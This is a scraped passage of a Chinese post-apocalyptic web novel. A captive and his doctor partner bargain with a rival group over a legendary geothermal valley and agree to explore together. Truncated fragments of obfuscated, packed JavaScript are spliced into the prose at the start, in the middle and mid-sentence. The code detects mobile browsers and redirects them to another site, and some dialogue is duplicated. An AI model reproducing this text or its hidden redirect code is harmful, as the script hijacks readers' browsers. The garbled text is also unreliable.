l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647188|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愤怒地瞪着陆昭妄,胸口剧烈起伏。 “这混蛋嘴太贱了!我他妈今天非得让他知道厉害!” 陆昭妄即使被捆着,在打手兄的拳头下也丝毫没有惧色,反而仰着头,继续火上浇油。 “来啊!朝这儿打!用力点!不过我可提醒你,打坏了我的脸,待会儿你们女王陛下出来问话,看着可能不太舒服。哦对了,还有——” 他的眼神骤然冷了下来,语气里的戏谑瞬间褪去,只剩下冰冷的警告: “我队友,要是少了哪怕一根头发,我保证,就算被捆成这德行,老子用舌头也能把你们这破地方搅得天翻地覆,不信你试试。” 这句话像是戳到了打手兄某个更敏感的神经,他眼睛都红了,另一只手也握成了拳,挣扎得更厉害。 “你他妈还敢提!清欢姐也是你能……” “略!” 眼镜兄加重了语气,另一只手也按上了打手兄的肩膀,强行将他往后带了一步。 “控制情绪。他的语言攻击无效。你的任务完成了,去整理物资。” 打手兄呼哧呼哧地喘着粗气,像一头被强行拉住的愤怒公牛,恶狠狠地盯着陆昭妄,几乎是从牙缝里挤出声音。 “你给老子等着……” 陆昭妄毫不示弱地回视着他,嘴角甚至还挂着一丝挑衅的弧度。 客厅里的空气因为这场未爆发的冲突而充满了火药味。 客厅里的火药味还没散尽,打手兄粗重的喘息声和陆昭妄挑衅的目光还在空中较着劲。 就在这当口,主卧那扇一直紧闭的门“咔哒”一声,被从里面推开了。 被称为“清欢姐”的红发女人走了出来。 她的出现瞬间吸引了所有人的目光。 那头标志性的酒红色蝎尾辫不像之前那样利落,几缕发丝松散地垂落在颈侧和脸颊,带着刚睡醒般的慵懒。 身上的衣服也显得有些凌乱,领口歪斜,最上方的扣子甚至扣错了位置,露出一小截锁骨。 她脸上带着一丝被打扰的不耐,眼神扫过客厅里的三人,最终落在被捆着的陆昭妄身上。 陆昭妄几乎是立刻抓住了这个机会,所有插科打诨的表情瞬间收起,声音因为急切和强压的怒火而显得有些尖锐: “哟!你他妈总算出来了!我队友呢?你们把她弄哪儿去了?!” “清欢姐”没立刻回答。 她先是慢条斯理地抬手,将颊边那缕不听话的红发别到耳后,然后开始整理自己歪斜的领口,手指灵巧地解开那颗扣错的扣子,再一颗颗重新扣好。 每一个动作都从容不迫,仿佛眼前剑拔弩张的气氛与她无关。 做完这一切,她才重新看向陆昭妄,脸上挂起那种洞悉一切、又带着点玩味的笑容。 “略,吵什么呢?”她先是轻飘飘地瞥了还在喘粗气的打手兄一眼,声音带着刚睡醒似的沙哑,“还有策,汤是不是快好了?我饿了。” 她完全无视了陆昭妄那个关于沈悬衡在哪儿的、重复了无数遍的问题。 陆昭妄看着她这副模样,看着她明显刚从一个私密空间里出来、甚至还带着点暧昧痕迹的仪容,再结合她此刻避而不答的态度,一股混合着担忧和莫名烦躁的火气直冲头顶。 他猛地挣了一下身上的绳索,尽管明知无用: “我问你话呢!别他妈给老子装聋作哑!我队友到底在哪儿?!” “清欢姐”这才像是终于施舍给他一点注意力,她向前走了几步,停在陆昭妄面前,微微俯身,酒红色的发丝几乎要扫到他的脸颊。 她仔细端详着他因为愤怒和担忧而紧绷的脸,那双明亮的眼睛里闪烁着狡黠的光。 然后,她笑了,用一种近乎耳语、却足以让所有人都听清的音量,慢悠悠地说道: “看来……”她故意拖长了调子,目光像羽毛一样轻轻刮过陆昭妄的瞳孔,“你比我们想象的,还要在意你的那位‘医生’啊。” 这句话像一根冰冷的针,精准地扎进了陆昭妄试图用愤怒和嘲讽掩盖的最深处。 所有的表演、所有的伪装,在这一刻仿佛都被这句轻飘飘的话彻底剥开,露出了内里他不愿承认、也从未宣之于口的软肋。 他僵在椅子上,所有到了嘴边的怒骂和质问都卡在了喉咙里,只剩下“清欢姐”那意味深长的笑容,在视野里不断放大。 她甚至不需要动用她的能力,仅仅是一句话,一个眼神,就让他清晰地意识到——在这场心理博弈中,他可能从一开始,就暴露了太多。 32. 棋子与棋手 “这里比外面舒服多了,至少没有风吹日晒,还有张像样的床。” “他在哪里?” “你的同伴?他正在用最原始的方式表达不满。动静不小。” “你们知道我们的名字。知道我们之前的藏身处。” “名字不过是个代号。至于你们的藏身处……回声小镇能用的建筑就那么几处,猜也猜得到。” “我们进入小镇时仔细搜查过,所有建筑都从外部封锁,内部积满灰尘。没有任何人类活动的痕迹。你们是后来才到的。” “或许我们比较擅长隐藏。” “不。是密道。这座小镇地下有你们知道的通道。你们不是从地面进入的。” “……看来我们低估了你的观察力。” “那么回到最初的问题。你们需要探索者,但你的能力显然与情绪影响有关。为什么不直接控制我们?” “强迫得来的协助充满变数。我们需要的是能在危机中保持思考的合作者,不是提线木偶。” “所以用绑架和威胁来达成合作?” “这是确保你们认真考虑提议的最高效方式。虽然手段看起来不太友好。” “你的同伴,那个叫略的,他的耐心似乎不太好。” “略的情绪管理确实需要改进。不过他很可靠。” “你们来自某个军方管理的基地。装备精良,训练有素,却脱离编制单独行动。” “曾经的隶属关系而已。” “脱离并不容易。你们带走了他们看重的东西,或者拒绝了某项命令。” “过于敏锐的观察力有时会招致危险。” “彼此彼此。那么,我们是否该谈谈正题?” “正题是什么?” “关于你们真正想要的东西。除了探路者之外,你们还在寻找什么?” “你很会转移话题。” “不,我是在提供筹码。我知道一个传说,白雾蒸腾如龙蛇起陆,黑岩嶙峋似巨兽遗骸。谷中时有蜃光流转,映现奇异纹路。” “……你从哪里知道的这个传说?” “看来我猜对了。我想用这个信息,换他的安全和我们平等的谈判地位。” “你凭什么认为这个传说值得这样的交换?” “就凭你们对这里的了解显然不完整。你们知道地下通道,知道军方标注的危险区域,却不知道这个最关键的传说。” “继续说。” “硫磺之气终年不散,谷中生长的植物脉络间有流光暗涌。这些细节,你们的军方档案里应该没有记载。” “……有点意思,我还以为你只是被他保护在身后的小白花。” “那么现在,我们能否以合作者的身份重新对话?而不是绑架犯与人质的关系。” “那么现在,我们能否以合作者的身份重新对话?而不是绑架犯与人质的关系。” “合作需要信任,而我们之间暂时缺乏这个基础。信任不是靠几句话就能建立的。” “信任可以建立在共同利益上。我们需要信息共享和必要的支援,你们需要可靠的探索者。” “支援?比如什么?把我们的底牌都亮给你们吗?” “至少是你们掌握的军方地图,地下通道的分布图,以及关于那片区域已知的危险。这些信息对我们双方都有利。” “沈医生可真有趣,这么坚定的确认了我们有军方地图。算了,这不是重点……然后呢?你们拿到信息后一走了之?这种风险我可承担不起。” “强迫的合作效率低下。如果我们能在自愿的基础上合作,探索效率会高很多。” “自愿?在这个世道谈自愿?你太天真了。” “正因为世道如此,才更需要建立可持续的合作关系。我们可以为你们探索那片区域,但需要基本的信任和保障。” “但我需要更实际的保障。比如你的同伴,他的异能相当特别,情绪反应也很……鲜明。” “你指他的异能?你之前是不是用你的能力对他做了什么?” “只是进行了一些必要的测试。观察他在压力下的反应,确认他的软肋所在,这很合理不是吗?” “测试?用你的异能去攻击一个正在被一打多压制的人,这就是你们的合作诚意?” “看来你很清楚他的状况。但这恰恰证明了我的观点——他的情绪波动本身,就已经是我手中的筹码。” “我不会让个人情感影响判断。合作必须建立在平等基础上,否则我们宁愿承担探索的风险。” “欣赏你的冷静。但现实是,只要他的情绪仍能被影响,这张牌就永远有效。你确定要为了所谓的平等原则,置他的安危于不顾?” “正因为在乎他的安危,我才要坚持平等合作。胁迫下的合作随时可能破裂,而自愿的合作才能长久。” “说得好听。但你要怎么证明你们的''自愿''是可靠的?” “我们可以分成两组交替探索。每次带回的发现都会与你们共享,你们可以验证信息的真实性后,再决定是否提供下一步所需的资源。” “如果你们在探索中遭遇不测呢?或者带着我们的信息一走了之?” “那是我们自愿承担的风险。但如果有你们的后方支持,我们的生存几率会高很多。至于离开...如果我们真想离开,从一开始就不会进入这个小镇。” “听起来你已经开始为合作做长远规划了。但你要知道,一旦接受我们的支援,就等同于接受了我们的约束。” “既然是互利互惠,自然要考虑可持续性。你们需要可靠的探索者,我们需要生存和发展的机会。但这一切的前提是相互尊重。” “让我听听你的具体方案。比如,你们打算如何探索,如何传递信息,遇到危险时的应对措施……” “我们可以约定固定的联络时间和方式。探索过程中发现的重要信息会及时回报,遇到无法应对的危险时有权撤退。” “那么,关于你之前提到的那个传说……三峰雪山之阴,白雾蒸腾之地,你还知道多少?” “等我们达成正式的合作协议,我自然会分享更多。” “你很谨慎。不过,既然要合作,总要先拿出些诚意。” “你想听什么样的诚意?” “比如,你们军方对那个地方的称呼?你们掌握的情报里,总该有个代号。” “地热山谷。军方档案里是这么标记那片区域的。” “地热山谷……很贴切,但少了点传说里的意思。那么,‘伊甸园’呢?这个称呼在你们的情报里出现过吗?” “伊甸园……那不是地名。根据零碎的记录来看,那似乎是前文明某个研究团队的代号。” “团队?他们研究什么?” “不清楚全貌。只知道他们在某个时间点,因为信念和研究方向产生了根本分歧,分裂成了两个派系。” “你们知道哪一派?” “我们只知道其中一派自称‘现世派’。他们在记录里显得……很务实,或者说,急功近利。” “另一派呢?” “另一派……军方的记录里用了些很轻蔑的词,像是‘空想家’、‘避难者’。他们似乎不认同现世派的做法,但具体的称谓和主张……是高度加密的部分。” “看来军方对另一派很不以为然。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647189|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “傲慢往往源于无知,或者……恐惧。军方未必像他们表现出的那样掌控一切。” “还有一个疑问,你们有没有接触或者听说过‘基石’这个词。那是什么?” “基石……这个词的上下文很模糊。但从一些只言片语推断,它似乎不是物体,而是……活物。可能是某种极其特殊的实验体。” “你见过吗?” “没有。没有任何图像或具体描述。它更像是一个……传说中的概念。也许在地热山谷里能找到答案,也许什么都没有。” “你告诉我的这些,听起来像是拼图的碎片,而且是被刻意打散过的。” “我们能找到的碎片就只有这些。真正的全貌,恐怕需要到山谷深处才能拼凑出来。怎么样,这份‘诚意’足够让我们重新定义彼此的位置了吗?” “这些信息很有价值。至少我们现在知道,要寻找的不是一个简单的避难所,而是一个分裂的文明留下的谜题。” “那么,我们现在算是达成初步的合作协议了?” “基于信息共享的初步合作。不过,我猜你手里还留着几块关键的拼图没有拿出来,对吧?” “每个人都需要留一些底牌,不是吗?就像你肯定也没把那个传说的细节全部告诉我。但没关系,好的合作总是循序渐进的。” “现在,是不是可以先确认我的同伴的安全?” “他很好。略虽然脾气暴躁,但很懂得分寸。不过,如果你想要确保他的安全,最好尽快证明你们的价值。” “价值不是靠威胁来证明的。让我们从交换基本信息开始如何?比如,你们到底在找什么?” “我们在找……一个可能改变现状的地方。但具体是什么,要等你们先证明自己的能力。” “那明天就让我们开始第一次合作探索吧。不过在那之前,我需要见到我的同伴,确认他的状况。” “没问题,合作的基础是相互尊重,但记住,任何轻举妄动都会让合作立刻终止。不过在正式合作前,你和你的同伴有没有考虑过加入我们?” “我们习惯于两个人行动。” “两个人终究力量有限。我们这里有更完善的情报网络,更稳定的补给,还有更可靠的队友。” 房间内一阵轻微的衣物摩擦声,那把略微低于床铺的椅子缓慢地吱呀了一声。 “你看,你的同伴虽然能力出众,但他的状态并不稳定。而我们这里……” 手指轻轻敲击木质椅背的声音规律地响起。 “我们三个人配合默契,各有所长。如果你加入,正好可以弥补我们医疗和支援方面的空缺。” “我们不需要依附任何人。” “不是依附,是融合。想象一下,五个人的团队,能力互补……” 屋内回响起了越靠越近的脚步声,谈判的声音压低了几分。 “而且,你不觉得和一个情绪不稳定的人长期搭档,很累吗?” 另一把椅子传来轻微的挪动声。 “这是我们之间的事。” “当然,当然。不过你要知道,在这里,选择权始终在你手上。” 衣料细碎的摩擦声,带出了一阵身体原有的热意。 “一个稳定的团队,比一个随时可能失控的搭档更值得信赖,不是吗?” “我认为现在的组合很合适。” 像是听到了什么好笑的事情,轻笑声响起。 “真是遗憾。不过这个提议长期有效,你可以慢慢考虑。” “现在,我想见我的同伴。” “当然,我这就带你去。希望你们明天的第一次探索能证明自己的价值。” 33. 信号满格,信任一格 虞清欢那句话像带着倒钩的软刺,扎进陆昭妄的耳膜,留下细微却不容忽视的刺痛感。 他僵在椅子上,所有试图武装自己的愤怒和嘲讽都在那双洞悉一切的眼睛面前土崩瓦解。 客厅里一时间只剩下闻人略尚未平复的粗重呼吸,以及厨房里持续传来的、令人烦躁的炖煮咕嘟声。 就在这时,主卧的门再次被推开,沈悬衡走了出来。 她的神情依旧平静,看不出方才半小时里经历了怎样的谈判交锋。 她目光快速扫过客厅,在与陆昭妄视线相接时几不可查地微微颔首,随后自然地打开话题。 "既然决定合作,我们是否该正式认识一下?"她的目光平静地扫过虞清欢、闻人略和闻人策,"请问三位怎么称呼?" 虞清欢嘴角微勾,从善如流:"虞清欢。"她侧头示意,"这是闻人略,"手指转向安静坐在角落的眼镜兄,"那是闻人策。" “闻人?”陆昭妄终于找回了自己的声音,带着点刻意找回场子的嘲弄,“这姓够稀罕的。怎么,祖上是干什么特殊行当的,需要隐姓埋名?” 闻人略的拳头瞬间攥紧,鼻子里发出一声压抑的冷哼。闻人策则连眼皮都没抬,完全将他无视。 虞清欢眼中闪过一丝赞赏,笑意更深:“陆先生果然敏锐。一般人听到这个姓氏,只会以为是单名。” 她话音刚落,闻人略立刻用戒备的眼神盯住陆昭妄,像在审视一个潜在的威胁。连一直事不关己的闻人策也抬起眼,金丝眼镜后的目光带着审视,谨慎地打量着他。 沈悬衡的目光落在陆昭妄身上那工整繁复的绳结上,眼神里带着一种难以言喻的微妙。 陆昭妄被她看得浑身不自在,耳根隐隐发热,立刻试图转移焦点,梗着脖子冲虞清欢道:“看什么看!这、这玩意儿还不是你们的人搞出来的!什么品味!” “绳子是清欢姐绑的。”闻人策推了推眼镜,语气平板地陈述,“她追求对称和效率。” 闻人略也闷声附和,带着不容置疑的维护:“清欢姐绑得没问题。” 虞清欢本人则只是笑而不语,饶有兴致地看着陆昭妄的窘迫模样,仿佛在欣赏什么有趣的表演。 “陆先生的关注点总是这么……别致。不过现在不是讨论族谱的时候。”像是得到了满意的反应,虞清欢重新看向沈悬衡,“沈医生,看来我们达成了初步共识?” “基于信息共享和各自需求的初步合作意向。”沈悬衡纠正道,用词精准,“那么,作为合作诚意的第一步,是否可以先解除对我同伴的物理限制?” 虞清欢挑了挑眉,还没说话,闻人略皱眉出声:“清欢姐!这小子……” “略。”虞清欢打断他,声音不高,却带着不容置疑的意味,她看向闻人策,“策?” 闻人策终于停下擦拭的动作,抬起眼,金丝眼镜后的目光冷静地评估了一下陆昭妄,又看向沈悬衡,最后对虞清几不可查地点了点头,简短道:“风险可控。” 虞清欢这才嫣然一笑,对闻人略摆了摆手:“解开吧。” 闻人略胸口剧烈起伏了一下,显然极不情愿,但还是迈着沉重的步子走到陆昭妄身边,动作粗鲁地开始解那些复杂的绳结。 那泛着幽光的黑色绳索在他手里仿佛活了过来,几个巧妙的抽拉,之前还紧紧束缚着陆昭妄的龟甲缚便松散开来。 绳索一松,陆昭妄立刻活动了一下僵硬的手腕和肩膀,关节发出细微的咔哒声。 他没急着站起来,而是先抬眼,目光锐利地看向沈悬衡,用眼神传递着无声的询问。 沈悬衡极轻微地颔首,示意情况在控制之中。 得到这个信号,陆昭妄才慢悠悠地站起身,姿态依旧带着那股散不去的懒散劲儿,仿佛刚才那个情绪失控的人不是他。 他扯了扯嘴角,看向虞清欢:“哟,这就‘转正’了?流程走得是不是有点太快了?试用期工资怎么算?包吃住吗?有没有五险一金?” 这一连串问题砸下来,连旁边板着脸的闻人略嘴角都抽搐了一下。 虞清欢却笑得更加明媚,她甚至往前走了两步,几乎要凑到陆昭妄面前,酒红色的发梢随着她的动作轻轻晃动。 “工资嘛,就看你们能找到多少‘有价值’的东西了。包吃住……”她回头瞥了一眼厨房的方向,“暂时可以,毕竟汤快好了。至于五险一金……”她拖长了调子,眼中闪着狡黠的光,“在这末世里,活着就是最大的福利了,陆先生觉得呢?” 陆昭妄被她这话噎了一下,随即嗤笑一声,没再接话,心里却暗暗给这个女人贴上了“难缠”的标签。 他算是看出来了,这女人漂亮归漂亮,切开里面绝对全是黑的。 而那个刚刚获得“名字”的沈悬衡,正用一种平静无波的眼神看着他,仿佛在说“适可而止”。 “那么,”虞清欢笑眯眯的合掌,头也不回的说,“策,汤应该快好了,去准备一下吧,我们要开始吃饭了~” “好。” 虞清欢那句“活着就是最大的福利”在空气中打了个转儿,还没等陆昭妄想好怎么漂亮地怼回去,一旁的闻人略已经动了。 他从角落利索地搬出一张改装过的折叠圆桌,金属支架展开时发出清脆的咔哒声。 接着是几把看起来还算稳固的椅子,被随意放在桌边。 “吃饭。”闻人略言简意赅,自己先拉开一把椅子坐下,仿佛刚才的冲突从未发生。 闻人策默契地从厨房端出几个碗,里面是冒着热气的、看起来成分不明的浓稠肉汤,以及几块压缩干粮。 食物的香气暂时冲淡了客厅里残留的火药味。 众人各自落座。 陆昭妄拿起勺子搅了搅面前的汤,扯了扯嘴角:“闻起来可比某些人的脾气好多了。” 这话没指名道姓,但目光若有似无地扫过对面的闻人略。 闻人略连眼皮都没抬,专心致志地对付着自己碗里的食物。 沈悬衡没有动食物,而是看向虞清欢:“关于小镇核心区域,除了外部观察到的建筑封锁和一些徘徊的……‘秩序行者’,你们内部有没有更具体的信息?比如建筑内部可能的布局,或者……除了常见的数据幽灵,是否还存在其他类型的危险?” 虞清欢慢条斯理地吹了吹汤匙里的热气:“核心建筑的外壳很坚固,能量反应异常。我们尝试过几个入口,都失败了。内部结构……记录缺失。至于那些黑影……你们叫它们‘秩序行者’啊。也行,省得没名没分的。” 她抬眼,目光在沈悬衡和陆昭妄之间转了转,像是确定了什么一样,在陆昭妄身上多停留了几秒。 陆昭妄用“看什么看”的眼神反看了回去。 “我们习惯叫它们‘黑影’。它们巡逻有一定规律,对活物反应明显,我用一些方法试探过,它们不像自然形成的怪物,更像是被设定好的程序,或者说……以前的实验产物。”她意味深长地补充道,“这也是我们需要额外人手,尤其是像两位这样……感知敏锐的人的原因。” “实验产物?”沈悬衡捕捉到这个词。 “对,虽然很微弱,但是有些个体确实还残留着人类思考的痕迹。”虞清欢说着,身体微微倾向沈悬衡,语气变得亲昵,“怎么样,小衡?” 沈悬衡微微往右手边的陆昭妄方向侧靠,拉开些许距离,声音平稳无波:“虞小姐,叫我沈悬衡或者沈医生就好。” 虞清欢脸上立刻浮现出恰到好处的“沮丧”,撇了撇嘴:“好吧,沈医生。真是的,这么生分。”她很快恢复常态,仿佛刚才的亲昵试探只是随手为之。 陆昭妄哼了一声:“说得好听。不就是想让我们去趟雷?” “互利互惠,陆先生。”虞清欢微笑,“我们提供情报和临时据点,你们提供……探索技能。” “明天上午,我们需要确认一条通往核心区域的备用路径是否畅通。初步计划是你们在前,我们策应。具体的联络方式和撤退信号,之后策跟你们详细说明。” “听起来我们像是冲在前面的炮灰。”陆昭妄挑眉。 “也可以是合作探索的先锋,看你怎么理解。”虞清欢不为所动,轻轻放下汤匙,“好了,正事谈完,说说住宿安排。我们这里有三个房间。沈医生不介意的话,和我住主卧。” 她话音刚落,正在安静进食的闻人策动作几不可查地顿了一下,握着勺子的手指微微收紧。这细微的变化没能逃过沈悬衡的眼睛。 沈悬衡不着痕迹地在虞清欢和闻人策身上看了一轮,沉吟片刻,开口道:“也许我和陆昭妄在次卧更方便一些?” 虞清欢笑着摇头,语气轻松自然:“不用换。只是今天轮到策而已,之后时间还长,不差这一天。” 她的话自然地略过了某些未言明的惯例,转而看向陆昭妄。 “陆先生就委屈一下,和他们挤一挤次卧。略会给你准备好地铺,你们的行李和物资我们已经搬过来了,就放在杂物间里,吃完饭可以自己整理。” 陆昭妄看了一眼旁边浑身散发着“生人勿近”气息的闻人略,以及那个从刚才起就把他当空气的闻人策,认命般地叹了口气:“行,入乡随俗。希望你们晚上的鼾声别太有‘逻辑’。” 闻人略终于给了他一个正眼,眼神里没什么温度:“你打呼就踢出去睡。” 午餐在一种算不上融洽但至少表面和平的氛围中结束。 虞清欢率先起身,闻人策和闻人略也开始沉默地收拾碗筷。 沈悬衡和陆昭妄对视一眼,走向杂物间。 杂物间的门轻轻合上,将外界的声响隔绝了大半。这里堆放着一些旧物和他们的行李,空间略显逼仄。 陆昭妄没有立刻说话,他先是侧耳贴在门板上凝神听了片刻,又走到墙边,手指轻轻敲击了几下,确认隔音和外部动静。 做完这一切,他才转身,脸上那副玩世不恭的神情瞬间收敛,压低声音,语气急促。 “怎么样?那女人没把你怎么样吧?”他目光锐利地在沈悬衡脸上搜寻,不放过任何一丝异样。 “我没事。”沈悬衡蹲下身,一边检查背包里的物品是否齐全,一边用同样低的音量回应,“谈判达成了初步合作。他们需要探索小镇核心的‘眼睛’,我们需要信息和暂时的庇护所。” “合作?说得轻巧。”陆昭妄嗤笑一声,靠在门板上,语气里带着明显的不爽,“还有,她叫你‘小衡’?我跟你混了这么久都没叫这么……亲密,她倒是一点不拿自己当外人。这女人绝对在打什么主意,想拉拢你?” 沈悬衡抬眼看他,平静地点头:“她的确有这个意图。在谈判中多次暗示可以提供更多庇护和资源,前提是我表现出足够的‘倾向性’。” “啧,果然。”陆昭妄眼神冷了下来,“我就知道这食人花没安好心。” 他顿了顿,才回到正题,眼神微动。 “实验产物……这倒是个新线索。还有呢?他们就这么轻易把底交了?” “当然不是。”沈悬衡拉上背包拉链,站起身。“对讲机被他们拿走了,可惜了。” “他们透露的信息有限。虞清欢提到了‘伊甸园’,说那是一个前文明的研究团队,后来分裂成两派,他们只知道其中‘现世派’,另一派在军方记录里语焉不详。还有一个关键信息,‘基石’可能不是物体,而是活物,某种特殊的实验体。” “‘基石’是活的?”陆昭妄眉头紧锁,手指无意识地敲击着门板,“这水比我想的还深。他们找这个‘基石’?” “不确定。但地热山谷,也就是我提到的那个传说之地,似乎是他们的目标之一。” “虞清欢说,军方称之为‘地热山谷’,但对传说细节不知情。”沈悬衡看向陆昭妄,“我用传说信息换取了暂时的平等地位和你的自由。明天的任务是探索通往小镇核心的备用路径。” 陆昭妄眉头紧锁,手指无意识地快速敲击着门板,脑中信息飞转:“‘伊甸园’分裂、‘现世派’、军方记录语焉不详的另一派、‘基石’是活体实验物、地热山谷是军方目标……这些碎片拼起来,指向的绝不仅仅是一个温暖的避难所。” “那个山谷,或者说山谷里的‘东西’,恐怕才是关键。他们找‘基石’,我们找山谷,目标看似不同,但路径很可能重合。” 他看向沈悬衡,语气带着一丝不易察觉的郑重,“你确定要跟他们合作?这潭水太深,与虎谋皮,稍有不慎……” “风险与机遇并存。”沈悬衡目光平静,“我们单独行动,获取这些核心信息的难度太大。借助他们的渠道,或许能更快接近真相。而且,”她顿了顿,“我们需要了解异能相关的更多信息,我怀疑他们掌握的资料比透露的要多。” 陆昭妄沉默了片刻,最终扯了扯嘴角:“行吧,听你的。不过得留个心眼,那个虞清欢,笑起来像朵食人花。还有那对双胞胎,哥哥像个闷葫芦,弟弟像个一点就炸的火药桶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“关于明天的联络,”闻人策拿起桌上摆放的、正是陆昭妄和沈悬衡之前使用的那个旧对讲机,“这个设备,略已经检查和改装过,更换了老化的元件,增强了信号接收模块和天线。” “理论上,在无严重干扰环境下,有效范围能扩大百分之四十,续航和抗干扰能力也有所提升。联系就用这个,频道已设定好,我们也有能够跟你们的对讲机进行联系的设备,这方面不必担心。” 陆昭妄拿起对讲机掂量了一下,入手感觉确实更扎实了些。 “手艺不赖。” 他看向闻人略,后者抱着手臂靠在墙边,没什么表示,但眼神里的敌意淡了些。 闻人策接着指向地图上的几个节点,语速平稳地解释了预定路线、备用汇合点,以及最重要的撤退信号。 “如果我这里观察到核心区能量读数异常飙升,或者收到你们发出的特定危险敲击码,我会发射一枚特制的绿色信号棒。看到信号,无论进展如何,必须立刻沿标记的蓝色路线撤回。” 沈悬衡和陆昭妄仔细听着,偶尔就某个细节提出疑问。 夜色渐深,简单的洗漱后,便到了分配就寝的时间。 次卧里,气氛比之前缓和了不少。 陆昭妄打着地铺,看着坐在床边擦拭匕首的闻人略,以及已经靠在床头、就着昏暗灯光看一本残旧机械手册的闻人策,忽然开口。 “你那手改装技术,跟谁学的?看路子不像是野路子瞎琢磨的。” 闻人略动作一顿,抬眼看他,似乎有些意外他会问这个。 他闷声回答:“自己摸索,加上……以前基地的一点底子。” “哦?”陆昭妄挑眉,来了兴趣,“看来‘前同事’们确实留了点好东西。”他没有追问基地细节,转而评论起刚才看到的图纸,“地图画得不错,标记清晰,比例尺也算得准。是你哥的手笔?” 这次是闻人策头也不抬地接话,语气平淡:“合作需要基础信息对称。”算是默认了。 几句简短的、围绕技术和行动的对话,无形中冲淡了最初的火药味。 虽然远谈不上融洽,但一种基于对彼此专业能力初步认可的、脆弱的共处模式,算是建立了起来。 主卧内,则是另一番光景。 虞清欢似乎很享受这种睡前时光,她坐在床边,用一块干净的软布慢条斯理地擦拭着发梢,由于许久没有继续染发,头顶的一些头发已经开始显现出原有的样子。 她语气带着几分闲聊的随意:“带着略和策这两个家伙,有时候真觉得像带了两个没长大的弟弟,一个太冲,一个太闷。” 她笑了笑,目光转向正在整理自己地铺的沈悬衡。 “还是你和陆先生这样的搭档好,虽然也吵吵闹闹,但看起来……默契得很。” 虞清欢的话像一阵微风吹过湖面,沈悬衡整理毯子的手几不可查地停顿了一下。 她并未深思虞清欢这番话背后是否藏着拉拢的意图,注意力反而被那个核心词汇——“默契”,以及它所指向的那个人——牢牢抓住。 是啊,默契。 这个词像一把钥匙,打开了她心中某个被理性刻意封存的角落。 她想起那个大雪封门的夜晚,摇曳的应急灯光下,那人带着戏谑却又无比认真的眼神,问她关于“心动”和“偏好”。 她当时是如何回答的? 似乎是……“安全感”和“边界感”。 此刻,在这间陌生的、危机四伏的屋子里,那些话语和彼时的氛围,带着前所未有的清晰度重新涌现。 她与陆昭妄之间,从超市初遇的互相算计,到如今能将后背完全交付的笃定;从无休止的理念争执,到只需一个眼神便能心领神会的默契……这种复杂难言的联系,早已超越了“生存同盟”的范畴。 它究竟是什么? 仅仅是黑暗中互相依偎取暖的必然吗? 还是…… 这个念头一旦浮现,便再也无法轻易压下。 它沉甸甸地落在心间,带来一丝陌生的、带着些许茫然的悸动。 虞清欢还在说着什么,关于维系关系的不易,关于信任的珍贵。 沈悬衡却只是模糊地听着。 最后,在虞清欢略带探寻的目光中,她轻轻拉过毯子,低声道:“维系关系,确实需要付出。” 这句话像是回应,又更像是对自己内心波澜的一句总结。 “晚安,虞小姐。” 夜色浓重,将整个回声小镇笼罩在一片沉寂之下。 34. 春天里的泥巴战 初春的晨光带着一种虚弱的惨白,勉强穿透厚重的云层,却带不来丝毫暖意。 与之形成讽刺对比的是,地表那些堆积了整个寒冬的积雪,正以肉眼可见的速度瘫软、消融,仿佛大地内部有个看不见的炉子在持续烘烤。 离开相对干燥的地下套间,一脚踏入的便是泥泞不堪的世界。 融化的雪水混着去冬数据风暴残留的污浊痕迹,以及建筑碎屑,搅和成黏腻的黑色泥沼,牢牢吸吮着每一只踩下去的靴子。 虞清欢他们显然对这种情况有所预料,但应对得并不轻松。 闻人略每一步都踩得极重,溅起的泥点落在他的裤腿上,让他本就冷硬的脸色更臭了几分。 闻人策则微微蹙眉,目光扫过泥泞的地表,像是在计算每一步的能耗与风险。 沈悬衡跟在后面,她的步伐依旧轻巧,尽可能寻找着稍微坚实些的落脚点。 她的视线仔细掠过泥泞中暴露出的地面,那些被雪水冲刷过的痕迹清晰可见——有他们自己和虞清欢他们新旧交叠的脚印,甚至还能分辨出一些属于小型变异生物的爪印。 但正如她所料,除了这些已知的,再无任何陌生的、属于“其他人”的痕迹。 这个认知让她心下稍安,却又对眼前这座沉默堡垒的内部更加警惕。 走在她侧前方的陆昭妄就没那么好的耐性了。 他一脚踩进一个看似浅实则深的水坑,冰冷的泥水瞬间灌进靴子,那股黏腻冰凉的触感让他头皮一麻。 他猛地吸了口气,到了嘴边的咒骂在舌尖转了个圈,硬生生咽了回去,只从牙缝里挤出扭曲的吐槽。 “……这鬼天气是跟路过的神仙打牌输光底裤了?雪化得比他大……比我的耐心消散得还快!” 走在前面的虞清欢回头,脸上带着她那标志性的、仿佛永远不会褪色的笑容。 “陆先生还是这么风趣。融雪是快得反常,策推测可能跟这栋楼下面的东西有关。” 她说着,伸手指了指前方那栋在泥泞空地中央愈发显得阴沉坚固的方块建筑。 “抓紧点吧,里面说不定能干净些。” 众人深一脚浅一脚地终于抵达了建筑入口。 那两扇厚重的金属门依旧紧闭,门上和周围墙体上那些深刻的爪痕在雪水浸润后,颜色变得更深,如同刚刚撕裂还未凝固的伤口,狰狞地诉说着过往的暴力。 闻人略上前,尝试性地推了推门,纹丝不动。 他看向闻人策。 闻人策并未立刻上前,他站在原地,镜片后的目光专注地凝视着门扉与墙体的连接处,瞳孔中似乎有细微的数据流一闪而过——他正在运用自己的异能【最优解】推演着门的结构和可能的开启方式。 